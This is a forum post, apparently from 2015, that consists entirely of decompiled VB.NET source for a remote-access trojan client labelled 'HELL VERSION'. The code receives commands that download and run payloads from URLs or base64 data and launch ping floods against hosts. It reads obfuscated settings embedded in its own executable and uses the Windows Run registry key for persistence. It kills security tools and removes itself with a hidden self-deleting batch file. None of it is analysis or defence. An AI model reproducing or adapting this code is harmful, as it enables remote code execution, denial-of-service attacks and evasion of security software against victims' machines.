| youssef13 |
06-01-2015 05:42 PM |
:
:
Public Sub Yupyupyup(ByVal b As Byte())
Dim strArray As String() = Strings.Split(Me.BS(b), Me.The_Pushing, -1, CompareMethod.Binary)
Try
Dim str3 As String = strArray(0)
If (str3 = "YupD") Then
Dim bytes As Byte() = Nothing
If Not strArray(2).ToLower.StartsWith("http") Then
Dim cM As Boolean = False
bytes = Me.Dump_It(Convert.FromBase64String(strArray(2)), cM)
Else
bytes = New WebClient().DownloadData(strArray(2))
End If
Dim path As String = (Path.GetTempPath & Me.Default_System(15) & "." & strArray(1))
File.WriteAllBytes(path, bytes)
Process.Start(path)
Else
Select Case str3
Case "P"
Me.Send("P")
Return
Case "Unin"
Me.Dead
Exit Select
Case "Oat"
Dim ping As New Ping
Dim options As New PingOptions With { _
.DontFragment = True, _
.Ttl = &H40 _
}
Dim s As String = "JE7&I??????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ?????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ??????????????????&e56436C?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????ZRNPHM16I?????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ????????????????????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆGZ5jZ4WG3057e^H1%RTIBC^Y#TMG0$ACZ881ZI^j6V2J4U%5??ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ???????????????????????????????????????????J4&^??ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ??????????????????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ?????????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ????????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ?????????????????????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ???????????????^3j5E1#WS55IZPJR8#N#7ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆJ#7Re7eAWR?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????&$GT4!0#$H^4T7I7He&Wrj$7^5eJEX7E5j$TK@8????????????????????????????????????????????????????????????????????????????????????????????@Ee1M7UL$4WQMeW6ZTMMI???????????????????????????????????????????????OjeN63&251#rj3GS2T^3@3YGr$J4P22jNW7EXE0V#??????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ??????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ??????????????????????????????????????????????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ?????????????????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ??????????????326J&XXDr#jKTJÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆL#EI10ZX866MW4#@8PjTj&JU#Jj!T&65r61W1G$HÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆIHPJMe7M3^&?????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ????????????????????????????????ÊÈÚ*ÄÕÕÚäÚÚäÚÏÕÌåßÌËÌËßÝËÎÝäáÁËäÞÍÁäáÔÛåÁÓÈÛÆ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????JG&WG4HR#EZ&&W$NR?????????????????????????????????????????????YUG3T!5IULKe"
Dim buffer As Byte() = Encoding.ASCII.GetBytes(s)
Dim num As Short = 0
Do
Dim reply As PingReply = ping.Send(strArray(1), &H4E20, buffer, options)
num = CShort((num + 1))
Loop While (num <= &H3E8)
Exit Select
End Select
End If
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub
:
Public Sub New()
Me.Company = "HELL VERSION"
Me.Corporation = ""
Me.Op_DoOoMz = "UyBpIFIgLSBEIG8gTyBvIE0="
Me.Belive_me = Nothing
Me.DoOoM = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "17"))
Me.The_Pushing = "|O|P|"
Me.Op_Doom = New FileInfo(Application.ExecutablePath)
Me.y = New Timer
Me.op = New Timer
Me.DoOoMz = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "18"))
Me.DoOoMz2 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "12"))
Me.DoOoMz3 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "7"))
Me.DoOoMz4 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "6"))
Me.DoOoMz5 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "9"))
Me.DoOoMz6 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "11"))
Me.DoOoMz7 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "9"))
Me.DoOoMz8 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "1"))
Me.DoOoMz9 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "2"))
Me.Paradise = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "3"))
Me.Goaaaaaal = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "4"))
Me.DoOoMz10 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "8"))
Me.DoOoMz11 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "5"))
Me.DoOoMz12 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "10"))
Me.DoOoMz13 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "13"))
Me.DoOoMz14 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "14"))
Me.DoOoMz15 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "15"))
Me.DoOoMz16 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "16"))
Me.DoOoMz17 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "19"))
Me.SPL = "[/opdoom\]"
Me.Direct = "Software\Microsoft\Windows\CurrentVersion\Run"
Me.Do_It = False
Me.C = Nothing
Me.Solution = New Computer
Me.Date_Timer = New Clock
End Sub
:
Public Sub Dead()
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "SpyTheSpy") Then
process.Kill
End If
Next
Dim process2 As Process
For Each process2 In Process.GetProcesses
If (process2.ProcessName = "TiGeR-Firewall") Then
process2.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
Me.City_Construction(0)
Try
File.Delete(Me.DoOoMx2)
Catch exception5 As Exception
ProjectData.SetProjectError(exception5)
Dim exception2 As Exception = exception5
ProjectData.ClearProjectError
End Try
Try
Dim arguments As Object() = New Object() { Me.Direct, True }
Dim copyBack As Boolean() = New Boolean() { True, False }
If copyBack(0) Then
Me.Direct = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(String)))
End If
Dim objArray4 As Object() = New Object() { Me.DoOoMz16, False }
Dim flagArray2 As Boolean() = New Boolean() { True, False }
NewLateBinding.LateCall(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(Me.Solution, Nothing, "Registry", New Object(0 - 1) {}, Nothing, Nothing, Nothing), Nothing, "CurrentUser", New Object(0 - 1) {}, Nothing, Nothing, Nothing), Nothing, "OpenSubKey", arguments, Nothing, Nothing, copyBack), Nothing, "DeleteValue", objArray4, Nothing, Nothing, flagArray2, True)
If flagArray2(0) Then
Me.DoOoMz16 = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray4(0)), GetType(String)))
End If
Catch exception6 As Exception
ProjectData.SetProjectError(exception6)
Dim exception3 As Exception = exception6
ProjectData.ClearProjectError
End Try
Try
Dim str3 As String = Conversions.ToString(Process.GetCurrentProcess.Id)
Dim path As String = (Environment.GetFolderPath(SpecialFolder.StartMenu) & "\PUSH.bat")
File.WriteAllText(path, String.Concat(New String() { "attrib -h -s """, Environment.GetFolderPath(SpecialFolder.StartMenu), "\PUSH.bat"" /d /s" & ChrW(13) & ChrW(10) & "attrib -h -s """, Application.ExecutablePath, """ /d /s" & ChrW(13) & ChrW(10) & "attrib -h -s """, Me.DoOoMx, """ /d /s" & ChrW(13) & ChrW(10) & "TASKKILL /F /PID ", str3, ChrW(13) & ChrW(10) & "DEL """, Application.ExecutablePath, """" & ChrW(13) & ChrW(10) & "DEL """, Me.DoOoMx, """" & ChrW(13) & ChrW(10) & "DEL ""%~f0""" }))
Interaction.Shell(path, AppWinStyle.Hide, False, -1)
Catch exception7 As Exception
ProjectData.SetProjectError(exception7)
Dim exception4 As Exception = exception7
ProjectData.ClearProjectError
End Try
End Sub
|
